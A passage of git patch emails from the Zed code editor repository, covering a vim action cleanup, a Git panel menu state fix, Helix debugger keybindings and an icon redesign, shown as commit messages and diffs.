From d3756f3025d958854c3dd023db17200642a90abe Mon Sep 17 00:00:00 2001
From: Dynamicer <1204978785@qq.com>
Date: Tue, 23 Jun 2026 19:39:52 +0800
Subject: [PATCH 055/772] vim: Remove duplicate ShellCommand action
 registration (#56937)

While exploring the `vim` crate, I found that `ShellCommand` is
registered twice with identical closure bodies in
`crates/vim/src/command.rs`
[L331-L357](https://github.com/zed-industries/zed/blob/main/crates/vim/src/command.rs#L331-L357)
. This PR removes the redundant code block to clean up.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/vim/src/command.rs | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/crates/vim/src/command.rs b/crates/vim/src/command.rs
index e7d68caa79ccf2..274fabac9a7224 100644
--- a/crates/vim/src/command.rs
+++ b/crates/vim/src/command.rs
@@ -347,15 +347,6 @@ pub fn register(editor: &mut Editor, cx: &mut Context<Vim>) {
         );
     });
 
-    Vim::action(editor, cx, |vim, _: &ShellCommand, window, cx| {
-        let Some(workspace) = vim.workspace(window, cx) else {
-            return;
-        };
-        workspace.update(cx, |workspace, cx| {
-            command_palette::CommandPalette::toggle(workspace, "'<,'>!", window, cx);
-        })
-    });
-
     Vim::action(editor, cx, |vim, action: &VimSave, window, cx| {
         if let Some(range) = &action.range {
             vim.update_editor(cx, |vim, editor, cx| {

From d753a31db53e40c47cfb59964102f07c5493eb4f Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Tue, 23 Jun 2026 17:45:46 +0530
Subject: [PATCH 056/772] git_ui: Keep view options menu state fresh (#59744)

# Objective

- Keep the Git panel view options menu open when changing view, sort, or
group options.
- Make the open menu reflect the selected option immediately, including
showing the Sort By section as soon as List view is selected.

## Solution

- Use a persistent context menu for the Git panel view options menu so
selecting an item rebuilds the menu instead of dismissing it.
- Track the open menu's view options state locally with
`GitPanelViewOptionsMenuState` so checkmarks and conditional sections
update before the settings file change is observed.
- Continue dispatching the existing Git panel actions so persisted
settings and panel updates keep using the current code path.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

- N/A

---

Release Notes:

- Fixed Git Panel view options menu selections updating only after
reopening the menu.
---
 crates/git_ui/src/git_panel.rs | 89 +++++++++++++++++++++++-----------
 1 file changed, 62 insertions(+), 27 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 9672b0d244a246..b6e5b7e76341f1 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -67,9 +67,11 @@ use settings::{
     update_settings_file,
 };
 use smallvec::SmallVec;
+use std::cell::Cell;
 use std::future::Future;
 use std::ops::Range;
 use std::path::Path;
+use std::rc::Rc;
 use std::{sync::Arc, time::Duration, usize};
 use strum::{IntoEnumIterator, VariantNames};
 use theme_settings::ThemeSettings;
@@ -163,7 +165,8 @@ enum TrashCancel {
     Cancel,
 }
 
-struct GitMenuState {
+#[derive(Clone, Copy)]
+struct GitPanelViewOptionsMenuState {
     sort_by: GitPanelSortBy,
     group_by: GitPanelGroupBy,
     tree_view: bool,
@@ -208,74 +211,111 @@ fn git_panel_context_menu(
 
 fn git_panel_view_options_menu(
     focus_handle: FocusHandle,
-    state: GitMenuState,
     window: &mut Window,
     cx: &mut App,
 ) -> Entity<ContextMenu> {
-    ContextMenu::build(window, cx, move |context_menu, _, _| {
+    let view_options_menu_state = Rc::new(Cell::new(GitPanelViewOptionsMenuState {
+        sort_by: GitPanelSettings::get_global(cx).sort_by,
+        group_by: GitPanelSettings::get_global(cx).group_by,
+        tree_view: GitPanelSettings::get_global(cx).tree_view,
+    }));
+
+    ContextMenu::build_persistent(window, cx, move |context_menu, _, _| {
+        let state = view_options_menu_state.get();
+
         context_menu
-            .context(focus_handle)
+            .context(focus_handle.clone())
             .header("View")
-            .item(
+            .item({
+                let view_options_menu_state = view_options_menu_state.clone();
                 ContextMenuEntry::new("List")
                     .toggle(IconPosition::End, !state.tree_view)
                     .handler(move |window, cx| {
                         if state.tree_view {
+                            view_options_menu_state.set(GitPanelViewOptionsMenuState {
+                                tree_view: false,
+                                ..state
+                            });
                             window.dispatch_action(Box::new(ToggleTreeView), cx);
                         }
-                    }),
-            )
-            .item(
+                    })
+            })
+            .item({
+                let view_options_menu_state = view_options_menu_state.clone();
                 ContextMenuEntry::new("Tree")
                     .toggle(IconPosition::End, state.tree_view)
                     .handler(move |window, cx| {
                         if !state.tree_view {
+                            view_options_menu_state.set(GitPanelViewOptionsMenuState {
+                                tree_view: true,
+                                ..state
+                            });
                             window.dispatch_action(Box::new(ToggleTreeView), cx);
                         }
-                    }),
-            )
+                    })
+            })
             .when(!state.tree_view, |this| {
                 this.separator()
                     .header("Sort By")
-                    .item(
+                    .item({
+                        let view_options_menu_state = view_options_menu_state.clone();
                         ContextMenuEntry::new("Path")
                             .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Path)
                             .handler(move |window, cx| {
                                 if !state.tree_view {
+                                    view_options_menu_state.set(GitPanelViewOptionsMenuState {
+                                        sort_by: GitPanelSortBy::Path,
+                                        ..state
+                                    });
                                     window.dispatch_action(Box::new(SetSortByPath), cx);
                                 }
-                            }),
-                    )
-                    .item(
+                            })
+                    })
+                    .item({
+                        let view_options_menu_state = view_options_menu_state.clone();
                         ContextMenuEntry::new("Name")
                             .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Name)
                             .handler(move |window, cx| {
                                 if !state.tree_view {
+                                    view_options_menu_state.set(GitPanelViewOptionsMenuState {
+                                        sort_by: GitPanelSortBy::Name,
+                                        ..state
+                                    });
                                     window.dispatch_action(Box::new(SetSortByName), cx);
                                 }
-                            }),
-                    )
+                            })
+                    })
             })
             .separator()
             .header("Group By")
-            .item(
+            .item({
+                let view_options_menu_state = view_options_menu_state.clone();
                 ContextMenuEntry::new("None")
                     .toggle(IconPosition::End, state.group_by == GitPanelGroupBy::None)
                     .handler(move |window, cx| {
                         if state.group_by != GitPanelGroupBy::None {
+                            view_options_menu_state.set(GitPanelViewOptionsMenuState {
+                                group_by: GitPanelGroupBy::None,
+                                ..state
+                            });
                             window.dispatch_action(Box::new(SetGroupByNone), cx);
                         }
-                    }),
-            )
-            .item(
+                    })
+            })
+            .item({
+                let view_options_menu_state = view_options_menu_state.clone();
                 ContextMenuEntry::new("Status")
                     .toggle(IconPosition::End, state.group_by == GitPanelGroupBy::Status)
                     .handler(move |window, cx| {
                         if state.group_by != GitPanelGroupBy::Status {
+                            view_options_menu_state.set(GitPanelViewOptionsMenuState {
+                                group_by: GitPanelGroupBy::Status,
+                                ..state
+                            });
                             window.dispatch_action(Box::new(SetGroupByStatus), cx);
                         }
-                    }),
-            )
+                    })
+            })
     })
 }
 
@@ -4465,11 +4505,6 @@ impl GitPanel {
             .menu(move |window, cx| {
                 Some(git_panel_view_options_menu(
                     focus_handle.clone(),
-                    GitMenuState {
-                        sort_by: GitPanelSettings::get_global(cx).sort_by,
-                        group_by: GitPanelSettings::get_global(cx).group_by,
-                        tree_view: GitPanelSettings::get_global(cx).tree_view,
-                    },
                     window,
                     cx,
                 ))

From bab93f319164f58233c96024e1ca1455233fe255 Mon Sep 17 00:00:00 2001
From: Jorge Gomez <jgart@dismail.de>
Date: Tue, 23 Jun 2026 09:50:36 -0400
Subject: [PATCH 057/772] helix: Add debugger keybindings (#57756)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Added initial coverage set of Helix debugger keybindings.
---
 assets/keymaps/vim.json | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/assets/keymaps/vim.json b/assets/keymaps/vim.json
index ef41401868168f..d23fb2d589d343 100644
--- a/assets/keymaps/vim.json
+++ b/assets/keymaps/vim.json
@@ -547,6 +547,18 @@
       "space y": "editor::Copy",
       "space /": "pane::DeploySearch",
 
+      // Debug mode (Helix space G)
+      "space shift-g l": "debugger::Start",
+      "space shift-g r": "debugger::Restart",
+      "space shift-g b": "editor::ToggleBreakpoint",
+      "space shift-g c": "debugger::Continue",
+      "space shift-g h": "debugger::Pause",
+      "space shift-g i": "debugger::StepInto",
+      "space shift-g o": "debugger::StepOut",
+      "space shift-g n": "debugger::StepOver",
+      "space shift-g t": "debugger::Stop",
+      "space shift-g ctrl-l": "editor::EditLogBreakpoint",
+
       // Other
       ":": "command_palette::Toggle",
       "m": "vim::PushHelixMatch",

From 41f9a2e434978179ef8b8366c163f7c21043e82b Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 23 Jun 2026 11:40:13 -0300
Subject: [PATCH 058/772] icons: Add some periodic clean up (#59757)

Remove some unused icons and refine design (stroke width, sizing,
curves, etc.) for existing ones.

Release Notes:

- N/A
---
 assets/icons/ai_edit.svg                      | 16 ++++++++--------
 assets/icons/archive.svg                      |  6 +++---
 assets/icons/diff_split.svg                   |  4 ++--
 assets/icons/diff_split_auto.svg              | 10 +++++-----
 assets/icons/diff_unified.svg                 |  4 ++--
 assets/icons/file_icons/archive.svg           |  5 +++--
 assets/icons/file_icons/folder.svg            |  2 +-
 assets/icons/file_icons/folder_open.svg       |  5 +++--
 assets/icons/folder.svg                       |  2 +-
 assets/icons/folder_add.svg                   |  4 ++++
 assets/icons/folder_include.svg               |  6 ++++++
 assets/icons/folder_open.svg                  |  5 +++--
 assets/icons/folder_open_add.svg              |  5 -----
 assets/icons/folder_search.svg                |  6 +++---
 assets/icons/folder_share.svg                 |  6 +++---
 assets/icons/folder_shared.svg                |  7 ++++---
 assets/icons/forward_arrow_up.svg             |  4 ++--
 assets/icons/library.svg                      |  6 ------
 assets/icons/menu_alt_temp.svg                |  3 ---
 assets/icons/new_thread.svg                   |  4 ----
 assets/icons/open_folder.svg                  |  4 ----
 assets/icons/share.svg                        |  6 +++---
 assets/icons/tool_folder.svg                  |  3 ---
 assets/icons/undo.svg                         |  4 ++--
 crates/icons/src/icons.rs                     |  8 ++------
 crates/recent_projects/src/recent_projects.rs |  2 +-
 crates/sidebar/src/sidebar.rs                 |  2 +-
 27 files changed, 62 insertions(+), 77 deletions(-)
 create mode 100644 assets/icons/folder_add.svg
 create mode 100644 assets/icons/folder_include.svg
 delete mode 100644 assets/icons/folder_open_add.svg
 delete mode 100644 assets/icons/library.svg
 delete mode 100644 assets/icons/menu_alt_temp.svg
 delete mode 100644 assets/icons/new_thread.svg
 delete mode 100644 assets/icons/open_folder.svg
 delete mode 100644 assets/icons/tool_folder.svg

diff --git a/assets/icons/ai_edit.svg b/assets/icons/ai_edit.svg
index 2f93ab9fd931bc..ed19c2a5255ca8 100644
--- a/assets/icons/ai_edit.svg
+++ b/assets/icons/ai_edit.svg
@@ -1,10 +1,10 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.5871 5.40624C12.8514 5.14195 13 4.78346 13 4.40965C13 4.03583 12.8516 3.67731 12.5873 3.41295C12.323 3.14859 11.9645 3.00005 11.5907 3C11.2169 2.99995 10.8584 3.14841 10.594 3.4127L3.92098 10.0874C3.80488 10.2031 3.71903 10.3456 3.67097 10.5024L3.01047 12.6784C2.99754 12.7217 2.99657 12.7676 3.00764 12.8113C3.01872 12.8551 3.04143 12.895 3.07337 12.9269C3.1053 12.9588 3.14528 12.9815 3.18905 12.9925C3.23282 13.0035 3.27875 13.0024 3.32197 12.9894L5.49849 12.3294C5.65508 12.2818 5.79758 12.1964 5.91349 12.0809L12.5871 5.40624Z" stroke="black" stroke-width="1.33" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M10 4L12 6" stroke="black" stroke-width="1.33" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6.38818 3.53598V2.53598" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.56982 12.6995L9.56982 13.6995" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.38818 6.53598H3.38818" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.5698 9.69949L12.5698 9.69949" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M4.38818 4.53598L3.38818 3.53598" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M11.5698 11.6995L12.5698 12.6995" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M12.5871 5.40624C12.8514 5.14195 13 4.78346 13 4.40965C13 4.03583 12.8516 3.67731 12.5873 3.41295C12.323 3.14859 11.9645 3.00005 11.5907 3C11.2169 2.99995 10.8584 3.14841 10.594 3.4127L3.92098 10.0874C3.80488 10.2031 3.71903 10.3456 3.67097 10.5024L3.01047 12.6784C2.99754 12.7217 2.99657 12.7676 3.00764 12.8113C3.01872 12.8551 3.04143 12.895 3.07337 12.9269C3.1053 12.9588 3.14528 12.9815 3.18905 12.9925C3.23282 13.0035 3.27875 13.0024 3.32197 12.9894L5.49849 12.3294C5.65508 12.2818 5.79758 12.1964 5.91349 12.0809L12.5871 5.40624Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M10 4L12 6" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.38818 3.53598V2.53598" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.56982 12.6995V13.6995" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M2.38818 6.53598H3.38818" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.5698 9.69949H12.5698" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M4.38818 4.53598L3.38818 3.53598" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.5698 11.6995L12.5698 12.6995" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/archive.svg b/assets/icons/archive.svg
index 9ffe3f39d27c7f..95a68f03a0f26e 100644
--- a/assets/icons/archive.svg
+++ b/assets/icons/archive.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M13.4 2.60001H2.6C2.26863 2.60001 2 2.86864 2 3.20001V5.00001C2 5.33138 2.26863 5.60001 2.6 5.60001H13.4C13.7314 5.60001 14 5.33138 14 5.00001V3.20001C14 2.86864 13.7314 2.60001 13.4 2.60001Z" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.2 5.60004V12.2C3.2 12.5183 3.32643 12.8235 3.55147 13.0486C3.77651 13.2736 4.08174 13.4 4.4 13.4H11.6C11.9183 13.4 12.2235 13.2736 12.4485 13.0486C12.6736 12.8235 12.8 12.5183 12.8 12.2V5.60004" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6.8 8H9.2" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M12.9564 3.04359H3.04357C2.73942 3.04359 2.49286 3.29016 2.49286 3.59431V5.24644C2.49286 5.55059 2.73942 5.79716 3.04357 5.79716H12.9564C13.2606 5.79716 13.5071 5.55059 13.5071 5.24644V3.59431C13.5071 3.29016 13.2606 3.04359 12.9564 3.04359Z" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M3.5943 5.79718V11.855C3.5943 12.1471 3.71034 12.4273 3.9169 12.6339C4.12345 12.8404 4.40361 12.9564 4.69572 12.9564H11.3043C11.5964 12.9564 11.8766 12.8404 12.0831 12.6339C12.2897 12.4273 12.4057 12.1471 12.4057 11.855V5.79718" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.89856 8H9.10141" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/diff_split.svg b/assets/icons/diff_split.svg
index dcafeb8df5c28b..35a3e7072c290b 100644
--- a/assets/icons/diff_split.svg
+++ b/assets/icons/diff_split.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<rect x="6.4" y="2.6" width="10.8" height="3.8" rx="0.9" transform="rotate(90 6.4 2.6)" fill="#C6CAD0" fill-opacity="0.5" stroke="#C6CAD0" stroke-width="1.2"/>
-<rect x="13.4" y="2.6" width="10.8" height="3.8" rx="0.9" transform="rotate(90 13.4 2.6)" fill="#C6CAD0" stroke="#C6CAD0" stroke-width="1.2"/>
+<path d="M6.48233 12.2684L6.48233 3.73157C6.48233 3.26009 6.10012 2.87788 5.62864 2.87788H3.73156C3.26008 2.87788 2.87787 3.26009 2.87787 3.73157L2.87787 12.2684C2.87787 12.7399 3.26008 13.1221 3.73156 13.1221H5.62864C6.10012 13.1221 6.48233 12.7399 6.48233 12.2684Z" fill="#C6CAD0" fill-opacity="0.5" stroke="#C6CAD0" stroke-width="1.13825"/>
+<path d="M13.1221 12.2684V3.73157C13.1221 3.26009 12.7399 2.87788 12.2684 2.87788H10.3713C9.89987 2.87788 9.51766 3.26009 9.51766 3.73157V12.2684C9.51766 12.7399 9.89987 13.1221 10.3713 13.1221H12.2684C12.7399 13.1221 13.1221 12.7399 13.1221 12.2684Z" fill="#C6CAD0" stroke="#C6CAD0" stroke-width="1.13825"/>
 </svg>
diff --git a/assets/icons/diff_split_auto.svg b/assets/icons/diff_split_auto.svg
index f9dd7076be75aa..f5828a6915d9ca 100644
--- a/assets/icons/diff_split_auto.svg
+++ b/assets/icons/diff_split_auto.svg
@@ -1,7 +1,7 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<rect opacity="0.5" x="14" y="2" width="12" height="5" rx="1.5" transform="rotate(90 14 2)" fill="#C6CAD0" fill-opacity="0.2"/>
-<rect opacity="0.5" x="7" y="2" width="12" height="5" rx="1.5" transform="rotate(90 7 2)" fill="#C6CAD0" fill-opacity="0.2"/>
-<path d="M10.2002 12.5C10.2002 12.6657 10.3343 12.7998 10.5 12.7998H12.3125L13.4951 13.4824C13.5254 13.4999 13.557 13.5142 13.5879 13.5293C13.3145 13.8182 12.9291 14 12.5 14H10.5L10.3467 13.9922C9.59028 13.9154 9 13.2767 9 12.5V10.8867L10.2002 11.5791V12.5ZM10.2002 6.95996L9 6.26758V3.5C9 2.72334 9.59028 2.08461 10.3467 2.00781L10.5 2H12.5C13.3284 2 14 2.67157 14 3.5V9.1543L12.7998 8.46094V3.5C12.7998 3.33431 12.6657 3.2002 12.5 3.2002H10.5C10.3343 3.2002 10.2002 3.33431 10.2002 3.5V6.95996Z" fill="#C6CAD0"/>
-<path d="M7 9.73242V12.5C7 13.3284 6.32843 14 5.5 14H3.5L3.34668 13.9922C2.59028 13.9154 2 13.2767 2 12.5V6.84473L3.2002 7.53809V12.5C3.2002 12.6657 3.33431 12.7998 3.5 12.7998H5.5C5.66569 12.7998 5.7998 12.6657 5.7998 12.5V9.03906L7 9.73242ZM5.5 2C6.32843 2 7 2.67157 7 3.5V5.1123L5.7998 4.41992V3.5C5.7998 3.33431 5.66569 3.2002 5.5 3.2002H3.6875L2.50488 2.51758C2.47399 2.49975 2.44173 2.48513 2.41016 2.46973C2.65063 2.21547 2.97893 2.04515 3.34668 2.00781L3.5 2H5.5Z" fill="#C6CAD0"/>
-<rect x="0.427673" y="4.78281" width="2" height="16.3329" rx="0.5" transform="rotate(-60 0.427673 4.78281)" fill="#C6CAD0"/>
+<path opacity="0.5" d="M13.5896 12.1922V3.80783C13.5896 3.03608 12.9639 2.41045 12.1922 2.41045H10.329C9.55722 2.41045 8.93159 3.03608 8.93159 3.80783V12.1922C8.93159 12.9639 9.55722 13.5896 10.329 13.5896H12.1922C12.9639 13.5896 13.5896 12.9639 13.5896 12.1922Z" fill="#C6CAD0" fill-opacity="0.2"/>
+<path opacity="0.5" d="M7.06841 12.1922L7.06841 3.80783C7.06841 3.03608 6.44277 2.41045 5.67102 2.41045H3.80783C3.03608 2.41045 2.41044 3.03608 2.41044 3.80783L2.41044 12.1922C2.41044 12.9639 3.03608 13.5896 3.80783 13.5896H5.67102C6.44277 13.5896 7.06841 12.9639 7.06841 12.1922Z" fill="#C6CAD0" fill-opacity="0.2"/>
+<path d="M10.0497 12.1922C10.0497 12.3465 10.1746 12.4715 10.329 12.4715H12.0175L13.1192 13.1074C13.1474 13.1237 13.1769 13.137 13.2056 13.1511C12.9509 13.4202 12.5919 13.5896 12.1922 13.5896H10.329L10.1862 13.5823C9.48149 13.5107 8.93159 12.9157 8.93159 12.1922V10.6892L10.0497 11.3343V12.1922ZM10.0497 7.03111L8.93159 6.38609V3.80783C8.93159 3.0843 9.48149 2.48927 10.1862 2.41772L10.329 2.41045H12.1922C12.9639 2.41045 13.5896 3.03608 13.5896 3.80783V9.07534L12.4715 8.42941V3.80783C12.4715 3.65348 12.3465 3.52854 12.1922 3.52854H10.329C10.1746 3.52854 10.0497 3.65348 10.0497 3.80783V7.03111Z" fill="#C6CAD0"/>
+<path d="M7.06841 9.61391V12.1922C7.06841 12.9639 6.44278 13.5896 5.67102 13.5896H3.80783L3.665 13.5823C2.96035 13.5107 2.41045 12.9157 2.41045 12.1922V6.92376L3.52854 7.56969V12.1922C3.52854 12.3465 3.65348 12.4715 3.80783 12.4715H5.67102C5.82537 12.4715 5.95031 12.3465 5.95031 12.1922V8.96798L7.06841 9.61391ZM5.67102 2.41045C6.44278 2.41045 7.06841 3.03608 7.06841 3.80783V5.30984L5.95031 4.66482V3.80783C5.95031 3.65348 5.82537 3.52854 5.67102 3.52854H3.98251L2.88079 2.89262C2.85201 2.87601 2.82196 2.86239 2.79255 2.84804C3.01657 2.61118 3.32241 2.45251 3.665 2.41772L3.80783 2.41045H5.67102Z" fill="#C6CAD0"/>
+<path d="M1.64437 3.79271L1.17858 4.59949C1.04995 4.82228 1.12628 5.10716 1.34907 5.23578L13.7194 12.3778C13.9422 12.5064 14.227 12.4301 14.3557 12.2073L14.8215 11.4005C14.9501 11.1777 14.8738 10.8928 14.651 10.7642L2.28066 3.62222C2.05788 3.49359 1.773 3.56992 1.64437 3.79271Z" fill="#C6CAD0"/>
 </svg>
diff --git a/assets/icons/diff_unified.svg b/assets/icons/diff_unified.svg
index 28735c16f68215..f09628fda43b1f 100644
--- a/assets/icons/diff_unified.svg
+++ b/assets/icons/diff_unified.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<rect x="2.6" y="9.6" width="10.8" height="3.8" rx="0.9" fill="#C6CAD0" fill-opacity="0.5" stroke="#C6CAD0" stroke-width="1.2"/>
-<rect x="2" y="2" width="12" height="5" rx="1.5" fill="#C6CAD0"/>
+<path d="M12.1035 9.43259H3.89653C3.44327 9.43259 3.07584 9.80002 3.07584 10.2533V12.077C3.07584 12.5303 3.44327 12.8977 3.89653 12.8977H12.1035C12.5567 12.8977 12.9242 12.5303 12.9242 12.077V10.2533C12.9242 9.80002 12.5567 9.43259 12.1035 9.43259Z" fill="#C6CAD0" fill-opacity="0.5" stroke="#C6CAD0" stroke-width="1.09426"/>
+<path d="M12.1035 2.50227H3.89653C3.1411 2.50227 2.5287 3.11467 2.5287 3.8701V5.69386C2.5287 6.44929 3.1411 7.06169 3.89653 7.06169H12.1035C12.8589 7.06169 13.4713 6.44929 13.4713 5.69386V3.8701C13.4713 3.11467 12.8589 2.50227 12.1035 2.50227Z" fill="#C6CAD0"/>
 </svg>
diff --git a/assets/icons/file_icons/archive.svg b/assets/icons/file_icons/archive.svg
index fd3780164d1fb1..95a68f03a0f26e 100644
--- a/assets/icons/file_icons/archive.svg
+++ b/assets/icons/file_icons/archive.svg
@@ -1,4 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M13.4 3H2.6C2.26863 3 2 3.29848 2 3.66667V6.33333C2 6.70152 2.26863 7 2.6 7H13.4C13.7314 7 14 6.70152 14 6.33333V3.66667C14 3.29848 13.7314 3 13.4 3Z" fill="black"/>
-<path d="M4.35393 12.0822L3.59023 7.5H4.85401C4.78711 7.65312 4.75 7.82222 4.75 8C4.75 8.69036 5.30964 9.25 6 9.25H10C10.6904 9.25 11.25 8.69036 11.25 8C11.25 7.82222 11.2129 7.65312 11.146 7.5H12.4098L11.6461 12.0822C11.6059 12.3233 11.3973 12.5 11.1529 12.5H4.84713C4.60271 12.5 4.39411 12.3233 4.35393 12.0822Z" fill="black" stroke="black"/>
+<path d="M12.9564 3.04359H3.04357C2.73942 3.04359 2.49286 3.29016 2.49286 3.59431V5.24644C2.49286 5.55059 2.73942 5.79716 3.04357 5.79716H12.9564C13.2606 5.79716 13.5071 5.55059 13.5071 5.24644V3.59431C13.5071 3.29016 13.2606 3.04359 12.9564 3.04359Z" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M3.5943 5.79718V11.855C3.5943 12.1471 3.71034 12.4273 3.9169 12.6339C4.12345 12.8404 4.40361 12.9564 4.69572 12.9564H11.3043C11.5964 12.9564 11.8766 12.8404 12.0831 12.6339C12.2897 12.4273 12.4057 12.1471 12.4057 11.855V5.79718" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.89856 8H9.10141" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/file_icons/folder.svg b/assets/icons/file_icons/folder.svg
index e40613000da5ac..3fa7b66a8e396e 100644
--- a/assets/icons/file_icons/folder.svg
+++ b/assets/icons/file_icons/folder.svg
@@ -1,3 +1,3 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M8.26046 3.97337C8.3527 4.17617 8.4795 4.47151 8.57375 4.69341C8.65258 4.87898 8.83437 4.99999 9.03599 4.99999H12.5C12.7761 4.99999 13 5.22385 13 5.49999V12.125C13 12.4011 12.7761 12.625 12.5 12.625H3.5C3.22386 12.625 3 12.4011 3 12.125V3.86932C3 3.59318 3.22386 3.36932 3.5 3.36932H7.34219C7.74141 3.36932 8.09483 3.60924 8.26046 3.97337Z" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M4.41707 12.4786H6.20854H11.5829C12.5724 12.4786 13.3744 11.6766 13.3744 10.6872V7.55212V7.10426C13.3744 6.11486 12.5724 5.3128 11.5829 5.3128H9.63778C9.16265 5.3128 8.70699 5.12406 8.37102 4.78808L7.62898 4.04604C7.29301 3.71007 6.83735 3.52133 6.36222 3.52133H4.41707C3.42768 3.52133 2.62561 4.3234 2.62561 5.3128V10.6872C2.62561 11.6766 3.42768 12.4786 4.41707 12.4786Z" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/file_icons/folder_open.svg b/assets/icons/file_icons/folder_open.svg
index 55231fb6abdb87..f4ec13621e305e 100644
--- a/assets/icons/file_icons/folder_open.svg
+++ b/assets/icons/file_icons/folder_open.svg
@@ -1,4 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" fill="black" stroke="black" stroke-width="1.2" stroke-linejoin="round"/>
-<path d="M5.19598 12.625H3.66515C3.42618 12.625 3.22289 12.4453 3.18626 12.2017L1.94333 3.93602C1.89776 3.63295 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52903 6.59618 3.81071L6.94517 4.35938H9.92811C10.4007 4.35938 10.8044 4.71102 10.8836 5.1917L11.1251 6.65624" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
